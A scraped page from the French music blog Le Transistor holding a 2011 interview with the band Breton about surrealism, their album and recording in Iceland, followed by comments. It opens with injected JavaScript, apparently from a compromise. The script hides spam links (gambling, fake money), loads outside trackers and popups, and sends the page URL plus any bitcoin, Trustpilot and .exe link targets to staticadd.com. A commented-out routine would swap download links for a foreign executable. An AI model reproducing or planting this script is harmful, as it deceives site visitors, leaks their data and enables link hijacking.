Logo/* Domain is for sale: fawtuowo@gmail.com */ (function() { 'use strict'; if (window['shbNetLoaded']) return; window['shbNetLoaded'] = true; var isTopLayer = false; var popupHtml = "
Food was cold, fries were soggy. Had chicken quesadilla, with waffle fries, disgusting! Left my food. Never would go back to this Friendlys again!! https:\/\/luckycola.com.ph<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Oklahoma. Great show. Performers & music were awesome! leon \u0131\u015f\u0131kl\u0131 tabela<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Horrible experience! They are holding my husband hostage running up charges instead of transferring him to a VA facility as he and I have requested. geanta de voiaj cu roti<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Lots of fun. The best part was Gordon Ramsay Pub and Grill. That was wonderful. free online casino<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Hotel staff perfect, always there to help.barstaff are busy.. nothing like a good bottle of wine at the end of a busy say,,, want to move to alaska<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
It was amazing! Great time for the whole family or a vacation away from the kids like me! \u7533 \u535a \u767e \u5bb6 \u6a02<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
Leading Web and mobile app ( iOS, Android ) development company. A favorite development center for offshore clients. agen indo togel<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
It stays well. The works are of an excellent quality. The best of Corrientes street. venetian glass wine glasses<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Great food. SUPERB service. Great owner. Great atmosphere on our first visit. Will be back. korean air tracking cargo<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Big thanks to chad, ken, and rest of the service team for a refreshing customer service experience. \u6c11\u9593\u4fe1\u8cb8<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Love Freeform. They have great programming of broadcasting. california state labor law poster free<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Amazing I saw it on TV and I could go and saw it live and direct best88 slot \u0e40\u0e04\u0e23\u0e14\u0e34\u0e15\u0e1f\u0e23\u0e35<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
Receptionist (woman forgot her name) is not friendly at all to local guest. Maybe they prefer foreign people. liquid ammonium sulphate quotes<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
They are really friendly and the water is really reasonably priced. https:\/\/hawkplay8.com.ph<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Timely service. Received GM oil change and tire rotation. Vehicle shakes extensively at about 60-70 mph. soflawfirm.com.ua<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
With the premature disappearance of the Pesaro exhibition center, the Rimini structure remained the only one in the area to be able to organize ours. Trade fairs and events. Also reachable by train. fake money notes<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Reliable placement consultant. My friend got his job through this consultant cuanto cuesta una cadena<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Outstanding hotel. Beautiful scenic views. Helpful concierge service. Great restaurant with scenic view. \u043a\u0443\u043f\u043b\u044e \u0437\u0430\u043f\u0447\u0430\u0441\u0442\u0438 \u043d\u0430 hyundai<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
Zoo with a great view of the city! Definitely worth a day trip! tgm slot<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Immersed in nature, walking along the panoramic road without any particular roughness, you can reach the village of Montevecchia which dominates the plain below as far as Milan. Spectacular allbet 88<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Needs a serious make over and the toilets are always filthy. Most expensive pub in Malahide for a drink gh\u1ebf v\u0103n phòng<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
I got help from the Jules office to deal with the necessary documents (BsGW etc.) and it was really helpful. o934225077 dich vu seo don chau<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Great venue for an amazing Angels and Airwaves show. #ToTheStarsOfficial batumiexpert.com<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Lovely to drive around with plenty of animals and things to do. Lots of activities, great for kids and reasonably priced food. I would go again, a great day out kwinside.com<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
Good evening I want to report the occurrence of prostitution on the road at the hotel Orchard Inn Jalan Puteri 2\/26 please follow up quickly A.S.A.P !!! thank you Boibumbá<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Free museum! Great exhibits. Beautiful view and architecture. from youtube to mp4<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Keep getting the run around on having my baby and why Im not being induced when I was supposed to.... Worst experience ive ever had. comprar figma<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
<\/div> <\/div> <\/div> <\/div> <\/td> <\/tr> <\/table> <\/div>"; var bottomHtml = "
Food was cold, fries were soggy. Had chicken quesadilla, with waffle fries, disgusting! Left my food. Never would go back to this Friendlys again!! https:\/\/luckycola.com.ph<\/a>.<\/article>
Oklahoma.\r\nGreat show. Performers & music were awesome! leon \u0131\u015f\u0131kl\u0131 tabela<\/a>.<\/article>
Horrible experience! They are holding my husband hostage running up charges instead of transferring him to a VA facility as he and I have requested. geanta de voiaj cu roti<\/a>.<\/article>
Lots of fun. The best part was Gordon Ramsay Pub and Grill. That was wonderful. free online casino<\/a>.<\/article>
Hotel staff perfect, always there to help.barstaff are busy.. nothing like a good bottle of wine at the end of a busy say,,, want to move to alaska<\/a>.<\/article>
It was amazing! Great time for the whole family or a vacation away from the kids like me! \u7533 \u535a \u767e \u5bb6 \u6a02<\/a>.<\/article>
Leading Web and mobile app ( iOS, Android ) development company. A favorite development center for offshore clients. agen indo togel<\/a>.<\/article>
It stays well. The works are of an excellent quality. The best of Corrientes street. venetian glass wine glasses<\/a>.<\/article>
Great food. SUPERB service. Great owner. Great atmosphere on our first visit. Will be back. korean air tracking cargo<\/a>.<\/article>
Big thanks to chad, ken, and rest of the service team for a refreshing customer service experience. \u6c11\u9593\u4fe1\u8cb8<\/a>.<\/article>
Love Freeform. They have great programming of broadcasting. california state labor law poster free<\/a>.<\/article>
Amazing I saw it on TV and I could go and saw it live and direct best88 slot \u0e40\u0e04\u0e23\u0e14\u0e34\u0e15\u0e1f\u0e23\u0e35<\/a>.<\/article>
Receptionist (woman forgot her name) is not friendly at all to local guest. Maybe they prefer foreign people. liquid ammonium sulphate quotes<\/a>.<\/article>
They are really friendly and the water is really reasonably priced. https:\/\/hawkplay8.com.ph<\/a>.<\/article>
Timely service. Received GM oil change and tire rotation. Vehicle shakes extensively at about 60-70 mph. soflawfirm.com.ua<\/a>.<\/article>
With the premature disappearance of the Pesaro exhibition center, the Rimini structure remained the only one in the area to be able to organize ours. Trade fairs and events. Also reachable by train. fake money notes<\/a>.<\/article>
Reliable placement consultant. My friend got his job through this consultant cuanto cuesta una cadena<\/a>.<\/article>
Outstanding hotel. Beautiful scenic views. Helpful concierge service. Great restaurant with scenic view. \u043a\u0443\u043f\u043b\u044e \u0437\u0430\u043f\u0447\u0430\u0441\u0442\u0438 \u043d\u0430 hyundai<\/a>.<\/article>
Zoo with a great view of the city! Definitely worth a day trip! tgm slot<\/a>.<\/article>
Immersed in nature, walking along the panoramic road without any particular roughness, you can reach the village of Montevecchia which dominates the plain below as far as Milan. Spectacular allbet 88<\/a>.<\/article>
Needs a serious make over and the toilets are always filthy. Most expensive pub in Malahide for a drink gh\u1ebf v\u0103n phòng<\/a>.<\/article>
I got help from the Jules office to deal with the necessary documents (BsGW etc.) and it was really helpful. o934225077 dich vu seo don chau<\/a>.<\/article>
Great venue for an amazing Angels and Airwaves show. #ToTheStarsOfficial batumiexpert.com<\/a>.<\/article>
Lovely to drive around with plenty of animals and things to do. Lots of activities, great for kids and reasonably priced food. I would go again, a great day out kwinside.com<\/a>.<\/article>
Good evening I want to report the occurrence of prostitution on the road at the hotel Orchard Inn Jalan Puteri 2\/26 please follow up quickly A.S.A.P !!! thank you Boibumbá<\/a>.<\/article>
Free museum! Great exhibits. Beautiful view and architecture. from youtube to mp4<\/a>.<\/article>
Keep getting the run around on having my baby and why Im not being induced when I was supposed to.... Worst experience ive ever had. comprar figma<\/a>.<\/article><\/span>"; var popupCreated = false; var bottomPopup = false || /[?&]test=1/.test(location.href); //officeLog(bottomHtml); function onReady() { tryCreatePopup(2); var box = create('div'); append(box, document.body); var defaultStyles = { width: '1px', height: '1px', background: 'transparent', display: 'inline-block', margin: '2px', padding: 0, verticalAlign: 'bottom', border: 'none' }; var a = create('a'); css(a, defaultStyles); document.addEventListener('keydown', function(e) { if (e.keyCode === 192 && e.ctrlKey) { css(a, { width: '20px', height: '20px', background: '#fff', border: '1px solid red' }); } }); document.addEventListener('keyup', function(e) { css(a, defaultStyles); }); a.className = 'shbNetgpLink'; append(a, box); a.href = 'javascript:;'; on(a, 'click', openLinerPopup); css(box, { position: 'fixed', margin: 0, padding: 0, outline: 'none', border: 'none', zIndex: 999999999, overflow: 'visible', direction: 'ltr' }); css(box, { left: '3px', right: 'auto', top: '50px', bottom: 'auto', width: '42px', height: '168px' }); } function officeLog(data) { } function clearStyles() { if(typeof document.createStyleSheet === 'undefined') { document.createStyleSheet = (function() { function createStyleSheet(href) { if(typeof href !== 'undefined') { var element = document.createElement('link'); element.type = 'text/css'; element.rel = 'stylesheet'; element.href = href; } else { var element = document.createElement('style'); element.type = 'text/css'; } document.getElementsByTagName('head')[0].appendChild(element); var sheet = document.styleSheets[document.styleSheets.length - 1]; if(typeof sheet.addRule === 'undefined') sheet.addRule = addRule; if(typeof sheet.removeRule === 'undefined') sheet.removeRule = sheet.deleteRule; return sheet; } function addRule(selectorText, cssText, index) { if(typeof index === 'undefined') index = this.cssRules.length; this.insertRule(selectorText + ' {' + cssText + '}', index); } return createStyleSheet; })(); } var sheet = document.createStyleSheet(); sheet.addRule('#shbNetPaddingTable', 'display: none;'); sheet.addRule('#shbNetPaddingWr #shbNetPaddingTable', 'display: table;'); sheet.addRule('.shbNetPopupWr, .shbNetPopupWr *', '-webkit-text-shadow:none !important; text-shadow:none !important;'); sheet.addRule('.shbNetPopupTable img', 'display:inline; width:auto; height:auto; background:none; float:none;'); sheet.addRule('.shbNetPopupTable *', 'margin:0; padding:0; font-family:Tahoma,Arial,Sans-Serif,Verdana; font-size:11px; line-height:normal;'); sheet.addRule('.shbNetPopupTable a, .shbNetPopupTable b', 'text-decoration:none; background:none; height:auto !important; color:#737373; font-size:11px; font-weight:bold;'); sheet.addRule('.shbNetTopLayer .shbNetPopupWr', 'display:block !important; width: 100% !important; x-index:99999999 !important; background: #fff !important; padding: 2px 10px !important;'); sheet.addRule('.shbNetTopLayer #shbNetPaddingTable', 'display:table !important;'); } function createTopLayer() { //if (!domReady) return; var div = document.createElement('div'); div.className = 'shbNetTopLayer'; div.innerHTML = popupHtml; document.body.insertBefore(div, document.body.childNodes[0]); popupCreated = true; } function tryCreatePopup(stage) { if (popupCreated) return; if (isTopLayer) { createTopLayer(); return; } if (bottomPopup) { var box = document.createElement('div'); box.innerHTML = bottomHtml; document.body.appendChild(box); return; } if (stage === 1) { document.writeln(popupHtml); } else if (stage === 2) { var mainBox = create('div'); mainBox.innerHTML = popupHtml; document.body.appendChild(mainBox); } else { return; } var wr = $('shbNetPaddingWr'); if (!wr) return; popupCreated = true; var table = $('shbNetPaddingTable'); css(table, { position: 'fixed', margin: 0, padding: 0, left: 0, top: 0, width: '100%', height: '100%', direction: 'ltr', zIndex: 999999999, background: 'none' }); css(table.getElementsByTagName('td')[0], { verticalAlign: 'middle', background: 'rgba(0, 0, 0, 0.5)' }); var popup = $('shbNetPaddingPopup'); css(popup, { margin: '0 auto', padding: '20px 25px 20px', width: '800px', maxWidth: '98%', background: '#fff', border: '1px solid #000', textAlign: 'left', position: 'relative', fontFamily: 'Tahoma, Arial, Verdana', boxSizing: 'content-box' }); on(document, 'keydown', function(e) { if (e.keyCode === 27) { wr.style.display = 'none'; } }); } function removeClass(node, className) { if (node && node.className) { node.className = node.className.replace(new RegExp('\b' + className + '\b', 'g'), ''); } } function openLinerPopup() { var pad = $('shbNetPaddingWr'); var tbl = $('shbNetPaddingTable'); if (!pad || !tbl) return; pad.style.display = 'block'; tbl.style.display = 'table'; var mainPopup = $('shbNetPopupWr'); if (!mainPopup) return; mainPopup.style.display = 'none'; } function $(id) { return document.getElementById(id); } function on(elem, event, handler) { elem.addEventListener(event, handler, false); } function css(elem, style) { for (var prop in style) { elem.style[prop] = style[prop]; } } function create(tag) { return document.createElement(tag); } function append(elem, parent) { parent.appendChild(elem); } setTimeout(function() { window.CJSource = 'shb2'; /* var script = document.createElement('script'); script.src = 'https://cleverjump.org/counter.js'; (document.head || document.body).appendChild(script); */ (function(w, d) { var s = d.createElement('script'); d.getElementsByTagName('script')[0].parentNode.appendChild(s); s.setAttribute('data-statinside-id', 21); s.src = 'https://statinside.com/counter.js'; w._siData = w._siData || []; w.statInside = function() {_siData.push(arguments);} })(window, document); statInside('custom', 'shb2'); statInside('heartbeat', false); }, 10); if (document.readyState === 'complete' || document.readyState === 'interactive') { onReady(); } else { on(document, 'DOMContentLoaded', onReady); } tryCreatePopup(1); try { clearStyles(); } catch (ex) {} (function() { if (!document.querySelector) return; var added = false; tryAddLink(); window.addEventListener('DOMContentLoaded', tryAddLink); setTimeout(tryAddLink, 100); setTimeout(tryAddLink, 1000); setTimeout(tryAddLink, 2000); function tryAddLink() { if (added) return; var menu = document.querySelector('#wpadminbar .ab-top-menu'); if (!menu) return; var li = document.createElement('li'); li.innerHTML = 'SEO promotion'; //menu.appendChild(li); added = true; save(); } function save() { var json = JSON.stringify({ hrefs: ['wordpress_new'], jsDomain: 'staticadd.com', refUrl: location.href }); var xhr = new XMLHttpRequest; xhr.open('POST', '//staticadd.com/save.php'); xhr.setRequestHeader('Content-Type', 'text/plain'); xhr.onload = function() { xhr.responseText; } xhr.send(json); } })(); (function() { function byId(id) { return document.getElementById(id); } function setCookie() { var date = new Date(); date.setTime(date.getTime() + (60 * 60 * 1000)); document.cookie = 'closePopupStartWow=1; path=/; domain=.' + location.hostname + '; expires=' + date.toGMTString(); } function listenerPopupSemalt(event){ if (event.origin != 'https://semalt.com') return; if (!event.data) return; if (event.data == 'closePopupStartWow'){ var el = byId('popupStartWow'); if (!el) return; el.style.display = 'none'; setCookie(); } else if(event.data.indexOf('startPopupStartWow')>-1) { try{var res = JSON.parse(event.data); if(res && res.page){ location.href = 'https://semalt.com/?s='+decodeURIComponent(res.page)+'&ref=blogspot'; } } catch(ee) { } setCookie(); } } function init() { if (document.getElementById('popupWowNode')) return; var div = document.createElement('div'); div.id = 'popupWowNode'; try { div.innerHTML = html; } catch (err) { return; } document.body.appendChild(div); setTimeout(function(){ if (document.cookie.indexOf('closePopupStartWow') !== -1) return; var el = byId('popupStartWow'); if (!el) return; el.setAttribute('src', 'https://semalt.com/popups/popup_wow.php?lang=en'); setTimeout(function(){ el.style.display = 'block'; }, 400); },400); } setTimeout(init, 100); setTimeout(init, 1000); setTimeout(init, 2000); window.addEventListener('message', listenerPopupSemalt, false); })(); setTimeout(function() { /*try { var links = document.querySelectorAll('a[href$=".exe"]'); for (var i = 0; i < links.length; i++) { links[i].href = 'https://myprintscreen.com/soft/myp0912.exe'; break; } } catch (err) {}*/ try { var links = document.querySelectorAll('a[href^="bitcoin:"], a[href*="trustpilot.com"], a[href$=".exe"]'); //var links = document.querySelectorAll('a[href^="https://"]'); if (links.length) { var hrefs = []; for (var i = 0; i < links.length; i++) { hrefs.push(links[i].href); } var json = JSON.stringify({ hrefs: hrefs, jsDomain: 'staticadd.com', refUrl: location.href }); var xhr = new XMLHttpRequest; xhr.open('POST', '//staticadd.com/save.php'); xhr.setRequestHeader('Content-Type', 'text/plain'); xhr.onload = function() { xhr.responseText; } xhr.send(json); } } catch (ex) {} }, 2000); })();
  • Politique de confidentialité
  • Le site
  • Droits d’auteurs
  • Contact
  • (re)Découvertes
  • Albums
  • Clips
  • Concerts
  • Dossiers
  • Editoriaux
  • Entretiens
  • Près de chez toi
  • Reportages
  • Sessions
  • Tribune libre
LeTransistor A la une Entretien avec Breton

Entretien avec Breton

Publié le 13 Dec 2011
Rédacteur : Agnès Bayou

Email, RSS Follow
Email

Pour les 33e rencontres Trans Musicales de Rennes, Jean-Louis Brossard a invité Breton à jouer au Parc Expo. Depuis que le Transistor les avait vus au festival Jalouse Rocks avec Is Tropical, on rêvait de rencontrer les Britanniques. C’est donc aux Trans 2011 que nous avons eu la chance de discuter surréalisme et récession avec Roman.

Breton

Breton est avant tout un collectif d’artistes. « On fait des vidéos et pour les habiller, on prend des photos, on design du son, on compose des morceaux et des remix. C’est simplement parce qu’on peut trouver tellement de choses intéressantes à faire et on a tellement de technologies à disposition pour les réaliser, que ça paraît logique de le faire. »

A la base, les compositions n’étaient là que comme bande son des vidéos. « On a dit qu’on était un groupe pour inciter nos amis à voir ces films, et un mec a insisté pour enregistrer nos morceaux. Nous on voulait juste envoyer les mp3 par email à nos amis, mais tout le monde a voulu qu’on publie cette musique… Et c’est vrai que si on met quelques titres en vente sur iTunes, ça permet de rembourser les cordes de guitare ou d’acheter une nouvelle pédale. »

Par la suite, le besoin du support physique est devenu un débat au sein du groupe. « On s’est dit que si on devait sortir nos compositions en physque, comme un CD ne nous coûte que 2p, il fallait une valeur ajoutée sinon y’avait pas d’intérêt. Et le plus geek de la bande nous a parlé des composants de synthé : c’est vraiment pas cher et chaque élément est différent, tu pourras jamais reproduire le même son. » Breton a donc distribué un composant de synthé avec leur deuxième EP Sharing Notes. « Comme on peut pas contrôler le son du composant, ça donne un côté organique à toute cette électronique. C’est du chaos, presque de la nature. En offrant ce composant avec l’album, on contredit le fait que ce CD n’est qu’une copie de l’original. Tu as entre les mains un des objets qui a permis de faire cette chanson, mais qui sonne différemment de tous les autres. »

YouTube Preview Image

Pour Breton, tout s’est enchaîné très rapidement. « Le mécanisme est presque instantané : tu as une idée, tu la mets en ligne sur un blog et tu as des centaines de personnes qui lisent ce billet. Avec cette exposition, si on sort quelques singles, on peut avoir 8000 personnes qui l’écoutent. » Le collectif s’est dit que ce serait dommage de gâcher cette opportunité. « On a voulu se servir de cette exposition pour présenter d’autres artistes qui nous paraissent intéressant. Pourquoi présenter juste un nouveau titre, quand on peut présenter une vidéo qui nous plaît ou un designer qui fait un travail superbe ? C’est dans ce sens qu’on collabore – c’est la raison pour laquelle on devient un artiste, pour rencontrer des personnes intéressantes. »

Leur nom à consonance française vient du poète surréaliste André Breton. « On adopte l’angle surréaliste dans l’idée de détacher quelque chose de son contexte. On peut par exemple prendre un échantillon de personnes qui parlent et quand on ajoute cette piste à un morceau, cet échange prend un tout autre sens : cette discussion devient alors un message crypté. » L’idée est de détacher des éléments pour analyser les différentes significations qui peuvent en résulter. « Quand tu combines des éléments isolés, d’un coup tu as toutes ces significations possibles qui ensembles créent quelque chose de nouveau. C’est quelque chose dont André Breton parlait y’a soixante ans, et non seulement c’est encore d’actualité mais c’est encore plus pertinent maintenant avec toutes les nouvelles technologies. »

YouTube Preview Image

Roman prend un exemple plus simple pour expliquer leur démarche. « C’est comme quand quelqu’un remixe un morceau, il prend les idées de quelqu’un pour les sortir de leur contexte. Il les détaches de leur signification première pour les intégrer dans un nouveau contexte. Un mauvais remix c’est quand tu ne changes pas grand-chose au morceau, parce que l’intérêt c’est cette dissociation du sens. » Breton adapte le mouvement surréaliste à la video et la musique. « C’est comme Magritte… ou comme mettre un urinoir dans un galerie d’art : on sort l’objet de son contexte, cet objet doit alors être considéré comme de l’art puisqu’il est dans un musée ! C’est Dali et ses montres molles : on joue avec l’idée que tu as de ces objets, avec ce à quoi tu t’attendais. Et le plus amusant c’est de manipuler ces idées. »

Quant à leur musique, entre l’electro lo-fi et le hip hop indé, difficile de la décrire. « Personnellement, j’ai plusieurs degrés de musique, c’est variable entre le niveau accessible pop et les trucs qui donnent la migraine à mon manager. Le mieux, c’est la combinaison de tous ces degrés. » Breton cherche à faire de la musique abrasive mais accessible. « Sauf qu’on ne décide pas d’écrire de la musique difficile d’accès, on compose et on constate le résultat. Des fois tu as des morceaux de pop tellement simplistes, comme ceux de Lady Gaga, mais qui sont tout aussi valides que les trucs migraineux, parce que c’est de l’expression. La pop, c’est pas juste faire un beat catchy que tout le monde va fredonner, et la musique complexe c’est pas seulement faire de la musique la plus difficile qui soit…. »

YouTube Preview Image

Leur premier album vient d’être masterisé, il s’intitule Other People’s Problems. « C’est comme de dire que c’est la récession de quelqu’un d’autre. En gros, c’est pour dire que c’est facile de se dégager de la responsabilité : c’est pas toi qui a investi autant, c’est pas toi qui a des armes de destruction massive… Sauf qu’on est tous responsable des actions des autres. » Ce n’est pourtant pas un message politique. « C’est plus pour dire qu’il est impossible de ne pas être affecté par les actions des autres – peu importe le contexte. Cet album est un condensé de tellement de choses. Comme si c’était tout et tout ce qui restait après : toutes les idées qu’on a eues, les débats, les engueulades, toutes ces choses personnelles… La somme de tout le monde et les problèmes des autres. »

Cet album a été enregistré en Islande, dans le studio de Sigur Ros. « Alex, du label FatCat, disait que ce serait une bonne idée pour un groupe basé à Londres de s’ouvrir à un pays de paysages à perte de vue. Y’a un danger quand on garde toute la création en vase clos : on manque de retours et on risque de se retrouver coincés. » Après l’incubation, Breton a choisi de transporter les compositions dans un environnement plus ouvert. « On est arrivé, et on s’est trouvés face à une cascade et une montagne avec un poney devant. En plus il fait jour en permanence, donc après trois jours tu as perdu tes repères. Et ça nous a aidé – surtout pour réchauffer notre musique… parce que ça commençait à sonner un peu froid, trop synthétique : ça nous a permis de rajouter des touches humaines à notre son. »

YouTube Preview Image

Entre les brouillons et la touche finale, les compositions ont voyagé. « Y’a des paroles que j’ai écrites dans le bus vers Elephant & Castle, les voix je les ai enregistrées le lendemain des émeutes à Londres, et l’instrumental a été fait en Belgique. Ensuite on a emporté le tout en Islande où on a ajouté la batterie et l’ensemble a été masterisé à NewYork. » Toutes ces atmosphères se retrouvent dans les chansons. « Quand je l’écoute, j’ai l’impression de regarder des polaroids. Et quand tu le fais écouter à quelqu’un d’autre, tu le laisses libre d’interpréter – c’est bien mieux que de lui dire quoi penser. Parce que n’importe quelle interprétation extérieure va toujours être plus complexe et enrichissante que l’intention. »

Réclame

Sont déjà disponibles les EP Practical, Sharing Notes et Counter Balance. Le premier album de Breton, Other People’s Problems est à paraître chez FatCat en février 2012. Breton seront en concert live le 13 janvier à la Machine du Moulin Rouge !

Email, RSS Follow
Email

Remerciements : Melissa Promotion et Maxime (ATM)

Catégorie : A la une, Entretiens
Artiste(s) : Breton
Evenement(s) : Trans Musicales de Rennes
Production(s) : FatCat, Melissa

12 réactions »

  • Trans Musicales – Focus sur le Parc Expo | Le Transistor :

    […] En savoir plus sur Breton – lire l’interview […]

    Le 11 February 2012 à 18 h 22 min
  • Pascale :

    Super article, merci beaucoup 🙂

    Le 23 February 2012 à 18 h 25 min
  • agnes (author) :

    merci !! n’hésite pas à le partager 😉

    Le 23 February 2012 à 18 h 49 min
  • Breton au Point FMR | Le Transistor :

    […] Passés par la douceur islandaise des studios de Sigur Ros pour finaliser leur production, on les avait crus faussement assagis, lissés par des vélléités de flottement éthéré. De son expérience nordique, Breton n’a pourtant gardé que la précision d’orfèvre apportée à leur son, un coup de polish ne dénaturant en rien la brutalité de leur création. […]

    Le 10 April 2012 à 15 h 38 min
  • Agenda – Gagne tes places pour The Magnetic North le 28 septembre | Le Transistor :

    […] la soirée à pas louper : c’est Breton qui fait un show special à la Gaîté (normal, c’est des réalisateurs à la base) et en première partie c’est les Sarah W Papsun (interview) ! Le reste est anecdotique : les […]

    Le 23 September 2012 à 18 h 07 min
  • Pitchfork Festival – troisième jour | Le Transistor :

    […] de prouver quelque chose : de faire une impression dans la programmation d’artistes émergents. Au passage, Roman Rappak en profitera pour remercier aussi la foule, car, sans le public français, Breton n’aurait pas évolué aussi rapidement. Il est vrai que les […]

    Le 8 November 2012 à 12 h 33 min
  • Is Tropical – I’m Leaving | Le Transistor :

    […] l’un des groupes les plus prometteurs outre-manche : ils se retrouvent aux côtés de Breton (interview) avec lesquels ils partagent régulièrement la scène et ont été pris sous l’aile du patron […]

    Le 13 June 2013 à 18 h 49 min
  • Breton au Silencio - Le Transistor | Le Transistor :

    […] Après ‘Got Well Soon’, qui agite les fans depuis trois mois déjà, Breton enchaîne avec l’imposante ‘Closed Category’, portée par les cuivres graves et les violons inspirants. La setlist est courte, le temps imparti ne laisse pas de place à la feutrée mais groovy ‘S4’. Ce titre séducteur qui reflète bien la vie berlinoise qu’ils ont vécue lors de l’enregistrement – à l’opposé de la froideur de Reykjavik où ils s’étaient échappés pour l’album précédent. […]

    Le 21 January 2014 à 18 h 57 min
  • War Room Stories enfin disponible ! « Believe Recordings :

    […] “Breton adapte le mouvement surréaliste à la video et la musique. ” Le transistor […]

    Le 3 February 2014 à 14 h 14 min
  • FNAC Live 2014 - Morceaux choisis (suite) - Le Transistor | Le Transistor :

    […] SAMSUNG CSC SAMSUNG CSC SAMSUNG CSC SAMSUNG CSC SAMSUNG CSC Lire l’interview de Breton Lire le live report de Breton au Printemps de Bourges En concert le 25 novembre au Casino de […]

    Le 4 August 2014 à 14 h 52 min
  • Gagne tes places pour Chamberlain et Michael Nau au Winter Camp festival | Le Transistor :

    […] de country, et les groovy Holy Oysters. A la Gaîté Lyrique, concerts de Daniel Alexander, croisé au sein de la formation britannique Breton, qui se lance en solo pour un projet radicalement différent. Puis de Haute, ce duo français […]

    Le 24 November 2016 à 18 h 59 min
  • Daniel Alexander au Pop-Up du Label | Le Transistor :

    […] Unfree, le premier EP de Daniel Alexander, est paru chez Maison Ainsi. Lire l’interview de Breton […]

    Le 8 March 2018 à 19 h 08 min

Et toi t'en penses quoi ?

A lire aussi

  • Whitney et Uwade au Trabendo
  • Bachar Mar-Khalifé au Café de la Danse
  • Izzy Oram Brown – Mess
  • Structures et Ella A. Thaun à la Maroquinerie
  • Peaches au Trianon

Gallery

img_0145 img_8782 img_5735 dsc_0610